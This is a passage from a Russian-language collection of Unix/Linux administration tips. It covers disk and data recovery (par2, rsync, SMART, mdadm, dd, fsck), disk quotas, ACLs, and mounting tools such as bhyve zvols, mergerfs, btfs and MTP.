       /usr/ports/sysutils/recoverdm 
       /usr/ports/sysutils/diskcheckd
    
     
    ----* Добавление информации для восстановления к архивам.   Автор: mahoro  [комментарии]
     
    Утилита par2 позволяет добавлять к файлам информацию для восстановления по
    алгоритму Рида-Соломона.
    Это позволяет восстанавливать исходный файл в случае небольших (или даже серьезных) повреждений. 
    Делается это следующим образом:
    
       $ sudo aptitude install par2 #(cd /usr/ports/archivers/parchive; make instal)
       $ ls
         dump.sql.gz
       $ par2 create -v -r10 -n1 -m500 dump.sql.gz
       $ ls
         dump.sql.gz dump.sql.gz.par2 dump.sql.gz.vol000+100.par2
    
    Эта команда добавит 10% (-r10) избыточной информации к данным, запишет все это в один файл (-n1), 
    при этом программе par2 разрешено использовать 500 мегабайт оперативной памяти (-m500). 
    Файлы *.par2 следует записать на диск вместе с дампом.
    
    Восстановить поврежденный файл можно командой
    
       $ par2 repair dump.sql.gz.par2
    
    Подробнее о par2 и чтении данных с битых CD: 
       http://alexey.sveshnikov.ru/blog/2008/04/10/broken-cd-parchive/
    
    Подробнее про о коде Рида-Соломона:
       http://www.insidepro.com/kk/027/027r.shtml
    
     
    ----* Как поведет себя ext3 при сбросе питания на разных стадиях работы ФС (доп. ссылка 1)   [комментарии]
     Как поведет себя ext3 при крахе, из-за отключения питания машины, на разных стадиях работы ФС.
  • Если питание будет отключено в момент записи и повредит сектор, то восстановления записываемой информации не будет;
  • Сброс питания во время записи может привести к последующему получению случайного набора данных, но fsck должно среагировать на эту проблему;
  • Если отключение питания вызвало повреждение данных в секторах, целостность данных в секторе, который успел записаться будет сохранена;
  • Тем же проблемам подвержены любые другие журналируемые ФС, например XFS.
  •  
    ----* Восстановление "битого" iso образа при помощи rsync   Автор: greyork  [комментарии]
     

    В данном примере показано восстановление образа снятого с "криво" записанного диска FreeBSD 6.0.

    1. Находим при помощи гугла rsync-зеркала с интересующими нас образами. Для задачи из примера их список можно увидеть здесь.

    Выбираем ближайшие зеркала с отметкой rsync напротив адреса: ftp2.ru.freebsd.org и ftp5.ru.freebsd.org.

    2. Узнаем какие "модули" доступны у выбранных rsync-серверов при помощи команды:

    
         rsync -n -vv ftp2.ru.freebsd.org::
    
    

    Ответ - два слова FreeBSD, откуда заключаем, что имя интересующего нас модуля - FreeBSD. Для сервера ftp5.ru.freebsd.org узнать имя модуля таким способом не удастся - этот сервер возвращает в ответ только информацию "рекламного" характера. Пояснения к команде: ключ -n не позволяет утилите rsync загружать ничего; ключ -vv позволяет увидеть на экране больше информации о происходящем; два двоеточия после имени сервера обязательны (можно использовать вместо них rsync:// перед именем сервера, но это длиннее).

    3. Изучаем расположение каталогов и файлов на сервере:

    
         rsync -n -vv ftp2.ru.freebsd.org::FreeBSD/
    
    

    К предыдущей команде добавлено имя модуля и следующий за ним слэш (/). Слэш нужен для указания того, что необходимо отобразить листинг директории, а не ее саму. В результате выполнения команды можно увидеть, что файловая структура (в данном случае) повторяет расположение файлов на FTP-сервере. После чего определяем где лежат искомые образы (листаем интересующие нас каталоги) и продолжаем. К сожалению, у меня не получилось заставить работать ключик --list-only из man rsync и пришлось находить вышеописанный способ методом научного тыка.

    4. Предположим, что образ диска уже снят, например так:

    
         readcd dev=ATA:1,0,0 speed=8 -noerror f=/path/to/6.0-RELEASE-i386-disc1.iso
    
    

    (Подробности в man readcd) И контрольная сумма образа не совпадает с суммой образа с официального веб-сайта.

    5. Восстанавливаем образ командой:

    
         rsync --stats --progress -z -vv \
          ftp5.ru.freebsd.org::FreeBSD/ISO-IMAGES-i386/6.0/6.0-RELEASE-i386-disc1.iso \
          /path/to/freebsd/6.0-RELEASE-i386-disc1.iso \
    
    

    Пояснения к команде: -z желателен для сжатия передаваемой информации (действенность не проверял); --stats выводит после окончания подробную информацию о сделанном; --progress отображает процент выполнения текущей задачи.

    6. Убеждаемся, что сумма восстановленного образа совпадает с суммой образа с официального сайта.

    Данным методом я восстановил образы дисков с FreeBSD 6.0, записанных при помощи программы Nero добрым человеком с толстым каналом. readcd ругался на эти диски в самом конце каждого из них. Входящий трафик, в моем случае, для обоих дисков составил меньше 1 Mb.

     
    ----* Ядро 2.6.14 и OnTrack на диске   Автор: Spider84  [обсудить]
     
    Наткнулся на днях на грабли. Оказывается ядро 2.6.14, а я уверен и не только оно,
     не понимает автоматом OnTrack на диске и прочие ему подобные "изменятели геометрии диска".
    
    Если к примеру ядро 2.4.29 без проблем грузится на с таким диском и при загрузке пишет что-то типа:
    
       hdc: hdc1[DM6:DD0] hdc2 <hdc5 hdc6>
    
    то 2.6.14 пишет:
       
       hdc: hdc1[DM6] hdc2
    
    и продолжает грузиться, при этом обратиться к hdc разделам нельзя, но fdisk с ними работает.
    
    проблема решилась установкой ключа hdc=remap64 в параметрах ядра.
    к примеру в lilo.conf так:
       append="hdc=remap63"
    
    и при загрузке ядро на ура всё определит.
    
    О более подробном списке ключей можно почитать тут: /usr/src/linux/Documentation/ide.txt строка 214
    
     
    ----* Как проверить жесткий диск используя SMART интерфейc. (доп. ссылка 1)   [комментарии]
     
    Устанавливаем утилиту http://smartmontools.sourceforge.net/
    
    Выводим информацию, поддерживает ли диск SMART.
       $ smartctl -i /dev/rdsk/c0t0d0s0
    
    Включаем SMART, если выключен.
       $ smartctl -s on /dev/rdsk/c0t0d0s0
    
    Проверяем какие возможности SMART  поддерживает диск и какие установлены параметры.
       $ smartctl -c /dev/rdsk/c0t0d0s0
    
    Статус состояния диска и список атрибутов проверок.
       $ smartctl -H /dev/rdsk/c0t0d0s0
       $ smartctl -A /dev/rdsk/c0t0d0s0
    
    Запускаем offline тест
       $ smartctl -t offline /dev/rdsk/c0t0d0s0
    
    Смотрим, есть ли ошибки
       $ smartctl -l selftest /dev/rdsk/c0t0d0s0
    
    Смотрим более детально
       $ smartctl -r ioctl -i /dev/rdsk/c0t0d0s0
    
    Выводим общую статистику
       $ smartctl -a /dev/rdsk/c0t0d0s0
    
     
    ----* Мониторинг и восстановление программного RAID в Linux   Автор: radigor  [комментарии]
     
    Управление программными RAID1-массивами в RHEL
    
    Мониторинг состояния 
    
    Информация о всех RAID-массивах:
       # more /proc/mdstat
    или
       # cat /proc/mdstat
    или
       # watch -n .1 cat /proc/mdstat
    
    Информация о конкретном дисковом разделе:
       # mdadm -E /dev/sd<a-b><1-10>
    например:
       # mdadm -E /dev/sdb2
    
    
    Восстановление функционирования
    
    Восстановление функционирования (rebuild) разделов диска по одному после
    однократного "несмертельного" сбоя:
       # mdadm -a /dev/md<0-6> /dev/sd<a-b><1-10>
    например:
       # mdadm -a /dev/md0 /dev/sdb1
    Нужно быть аккуратным с номерами разделов
    В случае ошибки, удалить компонент из RAID командой:
       # mdadm -r /dev/md0 /dev/sdb1
    получается не всегда - устройство может быть занято.
    
    
    Замена диска
    
    1. Выключить компьютер и заменить диск
    
    2. Включить компьютер  и определить имеющиеся на обоих дисках разделы:
       # fdisk /dev/sd<a-b> -l
    
    3. С помощью fdisk создать на новом диске разделы, идентичные оригиналу
    Необходимо пометить нужный раздел нового диска (sda1 или sdb1) как загрузочный
    до включения в зеркало.
    Swap-разделы не подлежат зеркалированию в программном RAID
    
    4. Выполнить Мониторинг состояния и Восстановление функционирования 
    
    
    Настройка оповещения
    
    Мониторинг выполняется с помощью crond ежечасно.
    В папку /etc/cron.haurly помещен файл mdRAIDmon, содержащий команду:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru
    
    Для проверки рассылки сообщения добавляется ключ --test:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru --test
    
    Помещая файл задания в папку, необходимо установить права доступа на выполнение
    Если нужно чаще, самое простое, добавьте в /etc/crontab строку, используя нотацию с "/", например:
       */5 * * * * root run-parts /etc/cron.my5min
    
    Конечно, можно попробовать и другие варианты планирования заданий с atd или batch. 
    
    Создайте папку /etc/cron.my5min и поместите туда файл mdRAIDmon
    C имитацией отказа диска мне было проще - сервер SR1425BK1 - с корзиной HotSwap
    
     
    ----* Почему после переноса Linux на другой диск LILO выдает "L 99 99..." (доп. ссылка 1)   Автор: Sergey Vlasov  [комментарии]
     
    При загрузке ядра LILO запоминает данные о назначении номеров BIOS для
    дисков, и потом при установке 
    загрузчика использует эти данные.  При смене устройства для загрузки в
    настройках BIOS номера дисков
    меняются (выбранный для загрузки диск получает номер 0x80), поэтому сохранённая lilo информация 
    перестаёт соответствовать реальной конфигурации.
    
    Нужно явно указать номера дисков в /etc/lilo.conf:
    
    disk=/dev/hda
    	bios=0x80
    disk=/dev/hdb
    	bios=0x81
    
     
    ----* Что можно сделать если на жестком диске появился bad-сектор (доп. ссылка 1)   [комментарии]
     
    Скачать smartmontools (http://smartmontools.sourceforge.net/)
    Выполнить:
       smartctl -a /dev/hda     # Посмотреть состояние
       smartctl -t long /dev/hda     # Провести тест
       smartctl -l selftest /dev/hda # Дождаться окончания теста и посмотреть результат
    
    При необходимости воспользоваться debugfs как написано в статье по ссылке.
    
     
    ----* Как сделать бэкап таблицы разделов диска   [обсудить]
     
    Бэкап MBR:
        dd if=/dev/hda of=mbr_backup.bin bs=1 count=512
    
    Для восстановления всего MBR поменять if/of местами.
    
    Таблица разделов находится в MBR по смещению 0x01BE (446) и состоит
    из 4 записей по 16 байт.
    
    Для восстановления только таблицы разделов:
        dd  if=mbr_backup.bin  of=/dev/устройство  bs=1 count=64 skip=446 seek=446
    
     
    ----* Если fsck сообщает "CANNOT FIX" и прекращает работу (доп. ссылка 1)   Автор: Oleg Polovinkin  [обсудить]
     
    (Во FreeBSD и Solaris)
    Можно удалить дефектный inode с помощью команды clri:
        clri <файловая-система> <номер-inode>
    и запустить снова fsck. При этом, к сожалению, файл теряется, но остальное спасется. 
    
     
    ----* Как попытаться восстановить данные с начавшего сбоить жесткого диска   Автор: uldus  [комментарии]
     
    Нужно вставить диск в заведомо рабочую машину (так как проблемы не обязательно
    в диске, контроллер может
    быть виной) с достаточным свободным местом на диске чтобы вместить весть объем
    сбойного диска  и сделать:
        dd if=/dev/hdb1 of=/usr/local/tmp/root_fs.img conv=noerror,sync bs=1024
        fsck -y /usr/local/tmp/root_fs.img
        mount -o loop /usr/local/tmp/root_fs.img /mnt (в Linux)
    Далее смотреть в /mnt, что удалось спасти.
    
    Монтирование файла как раздела в FreeBSD:
       vnconfig -r labels -c vn0 root_fs.img
       mount /dev/vn0 /mnt
    В FreeBSD для восстановления можно использовать утилиту ffsrecov из портов.
    
    Если fsck не находит superblock, то можно задать альтернативное размещение: 
    "fsck_ufs -b [16|32] .." для FreeBSD, 
    "fsck -b [8193|32768|16384]" - для Linux.
    
    Во FreeBSD в случае сбоя рекомендуется обратить внимание на порты:
    /usr/ports/sysutils/ddrescue
    /usr/ports/sysutils/ffs2recov
    /usr/ports/sysutils/gpart
    /usr/ports/sysutils/scan_ffs
    
     
    ----* Как размонтировать занятый неизвестным процессом CDROM   [комментарии]
     
    fuser -k -m /mnt/cdrom - убить процессы использующие /mnt/cdrom
    umount /mnt/cdrom
    
     

       Квоты

    ----* MySQL - квотирование баз под FreeBSD   Автор: Pahanivo  [комментарии]
     Хитрости квотирования MySQL.

    Каждую базу MySQL хранит в отдельном каталоге внутри datadir. MySQL работает под своим пользователем и соответственно создает файлы баз под им же. Соответственно квотирование в данном случае не возможно. Необходимо заставить его создавать файлы баз, влaдельцем которых будет конкретный квотируемый пользователь. Сделать это можно выставив бит SUID (4000) на каталог базы.

    Для начала:

    
         в ядре:
            options SUIDDIR
    
         в /etc/fstab:
            добавляем в список опций suiddir
    

    В MySQL создаем базу. Находим каталог базы в datadir. По умолчанию он будет mysql:mysql.

    
       Меняем владельца:
         chown sql-user databasedir
         теперь наш каталог sql-user:mysql
      
       Меняем права:  
           chmod 4070 databasedir
    

    Такая настройка заставит систему создавать файлы от имени владельца каталога (sql-user) причем сам пользователь не будет иметь к нему доступа. К нему будет иметь полный доступ MySQL (от группы mysql).

    Теперь мы можем использовать квоты как для обычных файлов. При превышении квот MySQL будет генерить ошибку full disk что является нормальным явлением и корректно отрабатывается MySQL, хотя сопровождается некоторыми проблемами: при запросе на добавление в базу, превысившую квоты, запрос повисает, повисают также последующие запросы, которые можно снять только их убийством или освобождением дополнительного места на диске. При дефолтных настройках это сразу вызовет проблему, так как такие запросы займут все сетевые соединения. Поэтому необходимо ОБЯЗАТЕЛЬНО ограничить максимальное количество подключений одного пользователя MySQL. В /etc/my.cnf:

    
       max_connections  = 500 (всего коннектов)
       max_user_connections = 30 (максимум для одного пользователя)
    

    Также возможно следующие - MySQL может пометить как поврежденные при останове сервера или когда временные файлы займут слишком много места на диске (второе судя по мануалам, не проверял). Лечится репаиром соотвествующих таблиц.

    Убить повисшие процессы может только root базы если они достигли max_user_connections.

    Не работает с таблицами innodb, так последние хранятся в одном месте независимо от базы.

    Коментируйте.

     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Установка дисковых квот в FreeBSD (доп. ссылка 1)   Автор: Igor  [обсудить]
     
    - в конфигурации ядра включаем "options QUOTA" и пересобираем ядро.
    - в /etc/rc.conf прописываем enable_quotas="YES" и check_quotas="YES"
    - указываем в fstab файловые системы, для которых будет включаться
    поддержка квот, например:
              /dev/da0s1e /home ufs rw,userquota  2  2
              /dev/ad0s1h  /new_home ufs  rw,groupquota 2 2
    - устанавливаем квоты для пользователей при помощи edquota, напр. "edquota user1"
    - если нужно установить одинаковые квоты для нескольких пользователей как у user1:
          edquota -p user1 user2 user3 user4 user5
    
     

       Монтирование

    ----* Подключение в BHyVe zvol-диска с другой машины   Автор: КриоМух  [комментарии]
     
    Ситуация такова: Когда-то давно в 2019 году, обратилась знакомая бухгалтер, с
    проблемой, что вирусы зашифровали все её базы 1С, хранящиеся на личном сервере,
    который ей поднял и оформил для работы по RDP - её айтишник. Когда вирус всё
    пожрал, внезапно обнаружилось, что отсутствуют резервные копии, так как они
    хранились на том же WIN-сервере, и оказались также пожранными. Более того, в
    процессе разбирательств с этой машиной, выяснилось, что там 4 диска, 2 - HDD и
    2 SSD - и при этом все они отдельными устройствами, без намёка на хоть какую-то
    реализацию зеркалирования. Айтишника этого она с позором выгнала (отказавшись с
    ним иметь дело) и обратилась ко мне.
    
    Понятно что не за восстановлением пожранного, а за организацией сервера, в
    работе и надёжности которого она бы могла быть уверена.
    
    Я как старый пользователь FreeBSD, конечно сразу ей сформировал предложение -
    эту её машину превратить в сервер на FreeBSD, а уже на нём развернуть виртуалку
    с виндой, 1С и всей этой нужной для её работы кухней.
    
    На предложение докупить ещё один ПК, чтобы был отдельной машиной для резервных
    копий - отказалась, так как женщина она во-первых бухгалтер, а во-вторых
    прижимистый бухгалтер :)
    
    Всё ей в итоге оформил в виде хоста на FreeBSD, c её ZFS-ным зеркалом на 2 HDD
    и 2 SSD, и самбой, на которую складировались ежедневные бэкапы, которые затем
    скриптом самого хоста перекладывались в samba-ресурс, доступный только на чтение.
    
    Виртуалку оформил на BHyVe'е, так как виртуалбокс  медленнен, а BHyVe и
    православный и производительней. Sparse - файлом оформил диск на HDD-пуле под
    систему в виртуалке, и SSD-пул - подключил zvol'ом как диск под базы 1С.
    
    Разворачивал BHyVe не голый, а с управлением с помощью vm-bhyve. Всё
    завелось и работало, как часы. Но через год-полтора, женщина-бухгалтер и со
    мной "рассталась", так как всё работало, а я за поддержку желал ежемесячную,
    оговорённую сумму.
    
    Никаких козней я понятное дело не строил, да и не собирался, так как честь
    IT-шную беречь должно всегда. И все актуальные копии хранилища со всеми
    доступами и чего там наворочено в её "инфраструктуре" я ей при внесении правок
    сразу высылал и при завершении сотрудничества также актуальную выдал, с
    пояснениями, что там всё что есть, все доступы и прочая-прочая, что может
    понадобиться знать любому, кто будет заниматься её сервером. Ответы на все
    вопросы так сказать. Всё.
    
    Собственно прошло 3-4 года, и вот недавно звонит она мне и говорит, что всё
    пропало. Сервак не грузится, её текущий админ не знает что со всем этим делать,
    так как с его слов "там сложная распределённая система и диски эти не может
    посмотреть". Короче сервак подох, ничего не работает, и ей главное выцарапать
    оттуда 1С базы.
    
    Получил, включил, смотрю: Действительно ничего не грузится, что-то там с uefi
    разделом, и загрузка дохнет на начальных этапах. Думаю - ничего страшного, там
    же бэкапы были, сейчас быстренько смонтирую пул, да последний достану и дело с
    концом. Загрузился с флешки, подмонтировал пул, который был HDD, под самбу -
    смотрю а бэкап последний лежит прошлогодний. Место на пуле закончилось, так как
    самбу они ещё и как файловую шару использовали и накидали туда всякого, что
    подъело весь ресурс и баз видимо 1С ещё добавилось, и бэкапы делаться просто не
    смогли, а текущий специалист, то ли не следил, то ли не знал как следить,
    короче перефразируя (надеюсь) из тех, кто: "Не следил и не проверял бэкапы, но
    теперь уже будет всегда это делать (ещё раз надеюсь)".
    
    Тогда остался один путь - получить данные непосредственно с диска в виртуалке,
    который реализован был как отдельный датасет на SSD пуле. Отцепил я значит один
    из SSD'шников и подключил к своему домашнему ПК, на котором у меня также
    FreeBSD и виртуалка BHyVe, с виндой, на случай если что-то виндовое
    потребуется. В общем вся соль этого была в подключении к BHyVe'овой машине
    диска оформленного как сырой ZFS-датасет. То есть в нём ни файлов нет, просто
    особого типа ZFS датасет.
    
    В итоге, чтобы его подключить на посторонней системе с FreeBSD, надо конечно
    первым делом ZFS-пул импортировать:
    
       zpool import -f
    
    -f нужен, так как он ругнётся что этот пул использовался на другой машине и
    вроде как может не надо его тут подключать.
    
    А после этого в 
    
       zfs list 
    
    ищем где наш датасет и объявляем его в конфигурации нашей рабочей виртуалки:
    
       disk1_type="virtio-blk"
       disk1_dev="custom"
       disk1_name="/dev/zvol/oldSSD/BHYVE/1C-BASES"
    
    И это тут так всё просто и безоблачно описано, а на деле я часа два наверное
    бодался с тем, как именно объявить zvol-овый диск в BHyVe. И в итоге
    
    
  • disk_type - должен быть virtio-blk
  • disk_dev - должен быть custom
  • disk_name - абсолютный путь к zvol'у в /dev, сперва это можно просто проверить ls'ом. Ну а дальше - ещё в самой загруженной ОСи диск не увиделся, но появился SCSI контроллер какой-то, который потребовал драйвера с диска virtio-win-0.1.229 и всё. Женщина - оплатила услуги непростого восстановления файлов, получила инструктаж на тему того, что её админ должен ей подтверждать что бэкап есть и он надёжен. Ну а она со своей стороны должна за этим бдить :)
  •  
    ----* Логическое объединение нескольких файловых систем при помощи mergerfs (доп. ссылка 1)   [комментарии]
     
    FUSE-модуль Mergerfs позволяет логически объединить несколько файловых
    систем в одну, например, для объединения разнесённых на разные диски коллекции
    видео или музыки в одну иерархию.
    
    
    В отличие от aufs и overlayfs в mergerfs не создаётся отдельного слоя для
    записи и данная ФС не может применяться поверх разделов, доступных в режиме
    только для чтения. Но mergerfs даёт возможность прямой записи в
    примонтированный раздел в соответствии с заданной политикой, например, запись
    может осуществляться в ФС, в которой больше свободного места. Также можно
    включить в один сводный раздел ФС, доступную на запись, и ФС только для чтения.
    В такой конфигурации операции записи будут производиться в разделе, который
    допускает запись.
    
    Среди особенностей mergerfs:  настройка поведения размещения новых файлов,
    работа в пространстве пользователей через FUSE,  поддержка расширенных
    атрибутов (xattrs) и смены атрибутов chattr, работа с различными ФС, поддержка
    POSIX ACL.
    
    Проектом собираются пакеты для Fedora, Debian и Ubuntu.
    
    Устанавливаем mergerfs в Fedora 31:
    
       wget https://github.com/trapexit/mergerfs/releases/download/2.29.0/mergerfs-2.29.0-1.fc31.x86_64.rpm
    
       sudo dnf install mergerfs-2.29.0-1.fc31.x86_64.rpm
    
    
    Допустим, в системе есть два раздела /disk1 и /disk2, на которых имеются  каталоги с видео:
    
       $ df -hT | grep disk
       /dev/sdb1      ext4      23M  386K 21M 2% /disk1
       /dev/sdc1      ext4      44M  1.1M 40M 3% /disk2
    
       $ ls -l /disk1/Videos/
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 2
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
    
    
    Создадим логический раздел /media, который будет включать в себя как  /disk1, так и /disk2:
    
       $ sudo mergerfs -o defaults,allow_other,use_ino,category.create=mfs,moveonenospc=true,minfreespace=1M /disk1:/disk2 /media
    
    где
    
        defaults - применение настроек по умолчанию
        allow_other - возможность доступа непривилегированных пользователей, а не только root
        use_ino - манипуляция исходными inode вместо libfuse для того, чтобы связанные файлы имели одинаковые inode.
        category.create=mfs - распределение новых файлов в зависимости от доступного свободного пространства.
        moveonenospc=true - в случае сбоя записи искать раздел с большим свободным местом.
        minfreespace=1M - минимальное свободное место для записи.
        disk1 - первый подключаемый раздел
        disk2 - второй подключаемый раздел
        /media - точка монтирования
    
    
    После монтирования получим:
    
       $ df -hT | grep media 
       1:2        fuse.mergerfs  66M      1.4M 60M 3% /media 
    
    
    Если скопировать в /media/Videos/ большой новый файл, для которого не хватает
    места в /disk1, но который вмещается в /disk2, то это файл будет размещён в
    разделе /disk2. Разделы /disk1 и /disk2 после монтирования остаются доступны
    для любых операций, /media объединяет их лишь логически.
    
       $ ls -lh file4.mkv
       -rw-rw-r--. 1 curt curt 30M Apr 20 08:45 file4.mkv
    
       $ cp file4.mkv /media/Videos/
    
    
       $ ls -l /disk1/Videos/ 
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 30003
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
       $ ls -l /media/Videos/
       total 30004
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file2.mkv
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
     
    ----* Монтирование содержимого Torrent-а в файловую систему   [комментарии]
     
    В рамках проекта btfs развивается FUSE-модуль, позволяющий примонтировать
    Torrent-файл или magnet-ссылку в качестве директории. После монтирования
    обращение к содержимому торрента осуществляется аналогично работе с обычной
    файловой системой. Например, можно запустить мультимедийный проигрыватель и
    просмотреть связанный с торрентом фильм.
    
    Важным отличием является то, что для работы с контентом не требуется его
    предварительная загрузка - содержимое загружается по мере необходимости.
    Например, при начале просмотра фильма начинается загрузка соответствующих
    частей файла, при смене позиции загружаются вновь запрошенные данные. Т.е.
    можно сразу оценить качество материала или получить доступ к отдельным файлам.
    
    Установка в Ubuntu:
    
       sudo add-apt-repository ppa:johang/btfs
       sudo apt-get update
       sudo apt-get install btfs
    
    Установка в Arch Linux:
    
       sudo pacman -S btfs
    
    Сборка в Debian:
    
       sudo apt-get install autoconf automake libfuse-dev libtorrent-rasterbar-dev libcurl4-openssl-dev
       git clone https://github.com/johang/btfs.git btfs
       cd btfs
       autoreconf -i
       ./configure
       make
    
    
    
    Монтирование:
    
      mkdir mnt
      btfs video.torrent mnt
    
    Просмотр:
    
      cd mnt
      vlc video.mp4
    
    Отключение:
    
      fusermount -u mnt
    
     
    ----* Безопасные опции монтирования разделов на примере Debian Wheezy (доп. ссылка 1)   Автор: Павел Самсонов  [комментарии]
     
    В данной заметке мы рассмотрим установку системы на несколько разделов по
    критерию опций монтирования.
    Я использую для установки системы 4 раздела:
    
    /boot - требуется отдельный раздел если остальная часть системы
    устанавливается на software raid.
    
    / - основной раздел на котором расположены все исполняемые файлы, хотя он может
    быть тоже раскидан по разным разделам, но уже не по критерию опций монтирования.
    
    /home - раздел домашних каталогов.
    
    /var - раздел переменных сред, который обычно не содержит исполняемых файлов.
    
    Итак я предлагаю вариант установки системы со следующими опциями монтирования
    (в моем примере это raspberry pi с установленным raspbian wheezy):
    
       pavel@pspi ~ $ cat /etc/fstab
       proc            /proc           proc    defaults          0       0
       /dev/mmcblk0p1  /boot           vfat    defaults,ro,noexec          0       2
       /dev/mmcblk0p2  /               ext2    defaults,ro          0       1
       /dev/mmcblk0p3  /var            ext2    defaults,noexec          0       1
       /dev/mmcblk0p5  /home           ext2    defaults,noexec          0       1
    
    Для раздела /boot я применил опции ro,noexec, так как записывать в него и
    исполнять при работе системы не надо.
    
    Для раздела / - опция ro - там содержатся исполняемые файлы, но они
    неизменяемы и записывать в раздел при нормальной работе ничего не требуется,
    только во время администрирования.
    
    Раздел /home смонтирован с опцией noexec - это мое решение, чтобы
    пользователи не скачивали и не запускали программы из ненадежных источников.
    
    Раздел /var смонтирован с noexec, так как обычно не содержит исполняемых файлов
    (за исключением /var/lib/dpkg) и выполнение тут не требуется.
    
    Посмотрим какие у нас еще остались виртуальные fs с опцией exec:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
       devtmpfs on /dev type devtmpfs (rw,relatime,size=218636k,nr_inodes=54659,mode=755)
       tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,size=89160k)
    
    Попробуем внести для них записи в /etc/fstab, чтобы система попробовала их
    перемонтировать с нашими опциями:
    
       devtmpfs        /dev            devtmpfs rw,noexec,relatime,size=218636k,nr_inodes=54659,mode=755
       tmpfs           /tmp            tmpfs rw,noexec,nosuid,nodev,relatime,size=89160k
    
    и перезагрузим систему получив:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
       devtmpfs on /dev type devtmpfs (rw,relatime,size=218636k,nr_inodes=54659,mode=755)
    
    Не сработало для fs /dev - для нее добавим в /etc/rc.local:
    
       mount /dev -o remount
    
    и снова перезагрузим систему получив:
    
       pavel@pspi ~ $ mount | grep -v noexec
       /dev/root on / type ext2 (ro,relatime)
    
    Мы видим, что у нас все разделы смонтированы по возможности с noexec кроме /,
    который смонтирован readonly.
    
    При администрировании системы я перемонтирую разделы:
    
       pavel@pspi ~ $ sudo mount /var -o remount,exec
       pavel@pspi ~ $ sudo mount / -o remount,rw
    
    После администрирования:
    
       pavel@pspi ~ $ sudo mount / -o remount
       pavel@pspi ~ $ sudo mount /var -o remount
    
     
    ----* Монтирование Nexus 4 и других смартфонов на базе Android в Linux (доп. ссылка 1)   [комментарии]
     
    Для монтирования устройств Nexus 4/7/10, Sony Xperia S/Z и других моделей на
    базе платформы Android 4, перешедшей на использование протокола MTP для обмена
    файлами, в Ubuntu 12.04 можно использовать следующую инструкцию:
    
    
    Устанавливаем пакеты для монтирования разделов с использованием протокола MTP:
    
       sudo apt-get install mtp-tools mtpfs
    
    Меняем настройки в файле /etc/udev/rules.d/51-android.rules
     
      sudo vi /etc/udev/rules.d/51-android.rules
    
    Добавляем конец строку, поменяв idVendor на идентификатор вендора своего устройства
    
       #LG - Nexus 4
       SUBSYSTEM=="usb", ATTR{idVendor}=="1004", MODE="0666"
       #Samsung - Nexus 7 & 10
       SUBSYSTEM=="usb", SYSFS{idVendor}=="18d1", MODE="0666"
       # Sony Xperia
       SUBSYSTEM=="usb", SYSFS{idVendor}=="0fce", MODE="0666"
    
    Убедимся, что файл исполняемый:
    
       sudo chmod +x /etc/udev/rules.d/51-android.rules
    
    Перезапускаем udev:
    
       sudo service udev restart
    
    Создаём точку монтирования:
    
       sudo mkdir /media/nexus4
       sudo chmod 755 /media/nexus4
    
    Монтируем раздел по MTP:
    
       sudo mtpfs -o allow_other /media/nexus4
    
    После завершения работы размонтируем:
    
       sudo umount /media/nexus4
    
    
    В Ubuntu 13.04 в штатную поставку входит модуль gvfs-mtp, который позволяет
    работать с хранилищем через MTP через файловый менеджер GNOME. Для Ubuntu 12.10
    установить gvfs-mtp можно из PPA:
    
       sudo add-apt-repository ppa:langdalepl/gvfs-mtp
    
    Кроме MTP для доступа к файловой системе устройства удобно использовать интерфейс
    qtadb.
    
     
    ----* Монтирование устройств Android 4 в Ubuntu Linux при помощи go-mtpfs (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Начиная с третьей ветки в платформе Android изменился метод организации
    внешнего доступа к накопителю мобильного устройства. Если раньше устройство
    маскировалось под USB-накопитель, который воспринимался внешними системами как
    обычный USB Flash, то начиная с выпуска Android 3 для доступа к данным
    предлагается использовать разработанный компанией Microsoft протокол MTP
    (Media Transfer Protocol), поддержка которого в большинстве Linux-дистрибутивов
    недоступна из коробки. Причиной перехода на MTP является желание избавиться от
    основного недостатка старой реализации - необходимости размонтирования раздела
    перед его экспортом, из-за чего во время подключения раздела к ПК он становился
    недоступным для мобильного устройства.
    
    Наиболее простым способом обеспечения работы с Android 4 в Linux является
    установка из репозиториев или сборка из исходных текстов GTK-приложения gMTP
    (http://gmtp.sourceforge.net/), которое предоставляет графический интерфейс для
    работы с файлами на устройстве, в том числе даёт возможность перемещать файлы
    между gMTP и файловым менеджером в режиме Drag and Drop. При сборке
    рекомендуется использовать самую свежую версию библиотеки  libmtp
    (http://libmtp.sourceforge.net/), иначе в процессе работы время от времени
    приходится сталкиваться с проблемами. Готовые свежие сборки gMTP для Ubuntu
    можно загрузить из специального PPA-репозитория, а libmtp - здесь.
    
    
    Другим способом является монтирование MTP-устройств в виде дисковых разделов
    при помощи FUSE-модулей mtpfs или mtp-fuse. Следует отметить, что
    работают данные модули с некоторыми устройствами весьма нестабильно и оставляют
    желать лучшего в плане скорости копирования данных. Относительно недавно для
    решения проблем с ранее доступными FUSE-реализациями был создан FUSE-модуль [[https://github.com/hanwen/go-mtpfs
    Go-mtpfs]], из особенностей которого можно отметить необходимость установки для
